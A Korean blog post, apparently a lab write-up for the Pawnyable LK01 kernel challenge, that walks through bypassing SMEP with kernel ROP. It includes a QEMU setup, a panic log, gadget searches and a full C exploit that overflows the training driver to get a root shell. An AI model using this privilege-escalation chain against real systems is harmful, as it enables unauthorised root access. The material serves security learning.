서론
이제 보호기법을 하나씩 추가해보자.
우선은 SMEP이다.
2023.08.20 - [Kernel Exploit] - Kernel 보호기법 및 우회법
Kernel 보호기법 및 우회법
서론 커널 공간도 유저 공간과 마찬가지로 보호기법이 있다. 다행이라면 유저 공간의 보호기법과 대동소이한다는 점. 아직 각 보호기법에 따른 공격법을 공부하지 않았기에 느낌적인 느낌으로
wyv3rn.tistory.com
본론
SMEP은 유저 공간에서의 NX와 같이 실행 권한을 제한하는 방법이다.
CR4 레지스터에 SMEP을 제어하는 비트가 있어 이를 0으로 만들거나,
유저 공간의 rop과 같이 krop이 가능하다.
본 글에서는 krop을 기준으로 한다.
1. 환경설정
1.1. vmlinux 추출하기
익히 아는 것과 같이 rop을 위해서는 gadget이 필요하다.
다만 pwnyable에서 제공되는 이미지에서는 심볼과 주소가 담긴 vmlinux 파일이 주어지지 않는데,
extract-vmlinux script가 이를 지원해준다.
linux/scripts/extract-vmlinux at master · torvalds/linux · GitHub
그냥 스크립트 다운 받아서 /bin에 넣어주고
┌[root🐲 Wyv3rn]-(~/kernel/pwnyable/LK01/qemu)
└> extract-vmlinux bzImage > vmlinux
┌[root🐲 Wyv3rn]-(~/kernel/pwnyable/LK01/qemu)
└> ls
bzImage rootfs.cpio run.sh vmlinux
1.2. 문제 환경 설정
일반적인 ret2user 문제와 같은 환경에서 smep만 추가해주면 된다.
즉, qemu script인 run.sh만 설정해주면 된다.
init.d/S99pawnyable
#!/bin/sh
##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
#echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 0 sh
##
## Cleanup
##
umount /proc
poweroff -d 0 -f
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu kvm64, +smep \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-s
2. module 분석
앞선 모듈과 동일한 모듈을 사용할거라 특별히 분석할 것은 없다.
2023.08.27 - [Kernel Exploit] - kernel - ret2usr
kernel - ret2usr
서론 가장 기본적인 커널 익스 기법인 ret2usr에 대해서 알아보자. 간단히 먼저 설명하자면, ret2usr는 stack buffer overflow에서 return to shellcode와 같다고 보면 된다. 본론 우선 테스트는 유명한 커널 익
wyv3rn.tistory.com
3. 취약점
마찬가지로 kernel buffer overflow가 취약점이다.
4. payload 작성
페이로드를 작성하기에 앞서 smep 보호기법이 걸린 경우에 앞선 ret2user 페이로드를 그대로 실행해보면 아래와 같이 커널 패닉이 발생하는 것을 볼 수 있다.
[ Holstein v1 (LK01) - Pawnyable ]
/ # ./payload
unable to execute userspace code (SMEP?) (uid: 0)
BUG: unable to handle page fault for address: 000000000040179e
#PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0011) - permissions violation
PGD 327c067 P4D 327c067 PUD 32d8067 PMD 32d0067 PTE 220f025
Oops: 0011 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: payload Tainted: G O 5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:0x40179e
Code: Unable to access opcode bytes at RIP 0x401774.
RSP: 0018:ffffc9000040beb8 EFLAGS: 00000202
RAX: 0000000000000410 RBX: ffff88800313f400 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000040bea8 RDI: ffff888003294400
RBP: 4141414141414141 R08: 000000000040179e R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000410
R13: 0000000000000000 R14: 00007fffd25597a0 R15: ffffc9000040bef8
FS: 00000000004d03c0(0000) GS:ffff888003600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000000040179e CR3: 00000000032d2000 CR4: 00000000001006f0
Call Trace:
? putname+0x47/0x50
? ksys_write+0x53/0xd0
? __x64_sys_write+0x15/0x20
? do_syscall_64+0x38/0x50
? entry_SYSCALL_64_after_hwframe+0x44/0xa9
Modules linked in: vuln(O)
CR2: 000000000040179e
---[ end trace 18e1d8f121a5b38b ]---
RIP: 0010:0x40179e
Code: Unable to access opcode bytes at RIP 0x401774.
RSP: 0018:ffffc9000040beb8 EFLAGS: 00000202
RAX: 0000000000000410 RBX: ffff88800313f400 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000040bea8 RDI: ffff888003294400
RBP: 4141414141414141 R08: 000000000040179e R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000410
R13: 0000000000000000 R14: 00007fffd25597a0 R15: ffffc9000040bef8
FS: 00000000004d03c0(0000) GS:ffff888003600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000000040179e CR3: 00000000032d2000 CR4: 00000000001006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
결국은 딱 두줄이 설명해주는데, 아래와 같이 보호기법에 따라 opcode bytes를 실행할 수 없어 종료된 것을 알 수 있다.
unable to execute userspace code (SMEP?) (uid: 0)
...
Code: Unable to access opcode bytes at RIP 0x401774.
4.1 ropgadget 찾기
우리가 실행해야하는 코드는 결국 이전 같다.
static void restore_state() {
asm("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win));
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}
이를 rop으로 구현해주면 되기에 해당하는 가젯을 찾으면 된다.
유저 영역의 rop과 같이 가젯을 찾아보면 아래와 같다.
prepare_kernel_cred(0)를 위한 pop rdi
┌[root🐲 Wyv3rn]-(~/kernel/pwnyable/LK01/qemu)
└> ROPgadget --binary vmlinux | grep 'pop rdi ; ret'
...
0xffffffff8127bbdc : pop rdi ; ret
...
prepare_kernel_cred(0) return 값을 다시 commit_creds에 넣기 위한 mov rdi, rax 가젯
┌[root🐲 Wyv3rn]-(~/kernel/pwnyable/LK01/qemu)
└> ROPgadget --binary vmlinux | grep 'mov rdi, rax' | grep 'ret'
...
0xffffffff81f131e2 : mov rdi, rax ; rep movsd dword ptr [rdi], dword ptr [rsi] ; pop rbp ; ret
0xffffffff8160c96b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
...
swapgs
┌[root🐲 Wyv3rn]-(~/kernel/pwnyable/LK01/qemu)
└> ROPgadget --binary vmlinux | grep 'swapgs'
...
0xffffffff8160bf7e : swapgs ; ret
iretq는 ROPgadget에서 찾아지지 않는다.
당연하다. ropgadget은 jmp나 ret으로 종료되는 gadget만 찾으니 그렇다.
┌[root🐲 Wyv3rn]-(~/kernel/pwnyable/LK01/qemu)
└> objdump -d vmlinux| grep iretq
ffffffff810202af: 48 cf iretq
5. exploit
위 사항을 모아보면 아래와 같다.
//gcc -static -o exp exp.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240;
#define commit_creds 0xffffffff8106e390;
#define rdi 0xffffffff8127bbdc; //pop rdi ; ret
#define mov_rdi_rax 0xffffffff8160c96b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e; //swapgs ; ret
#define iretq 0xffffffff810202af;
#define rcx 0xffffffff8132cdd3; // pop rcx ; ret
static void win() {
puts("[+] win!");
execl("/bin/sh", "sh", NULL);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}
/*
static void restore_state() {
asm("swapgs ;"
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win));
}
static void escalate_privilege() {
char* (*pkc)(int) = (void*)(prepare_kernel_cred);
void (*cc)(char*) = (void*)(commit_creds);
(*cc)((*pkc)(0));
restore_state();
}
*/
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
save_state();
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");
char buf[0x500];
memset(buf, 'A', 0x408);
unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rdi;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
*chain++ = rcx;
*chain++ = 0;
*chain++ = mov_rdi_rax;
*chain++ = commit_creds;
*chain++ = swapgs; //여기부터 restore_state 함수의 역할과 동일함.
*chain++ = iretq;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
write(fd, buf, 0x500);
close(fd);
return 0;
}
6. 마치며
특이사항으로, 트랩프레임은 무조건 main 함수 서두에 위치해야한다.
아니면 iretq 함수에서 오류가 발생한다...
아무래도 커널영역에서 유저영역으로 넘어갈 때 레지스터 값을 참조해야하는데
이를 제대로 참조하지 못해서 커널 패닉이 발생하는 듯...
하루종일 이거 때문에 공부 많이 했다...
'Kernel Exploit' 카테고리의 다른 글
Kernel - SMEP 우회, cr4 overwrite #2 (0) | 2023.09.08 |
---|---|
Kernel - SMEP 우회, cr4 overwrite (0) | 2023.09.08 |
kernel - ret2usr (0) | 2023.08.27 |
kernel debuging with pwndbg - pwndbg 설치 (0) | 2023.08.27 |
rootfs.cpio 파일 추가 shell script (0) | 2023.08.21 |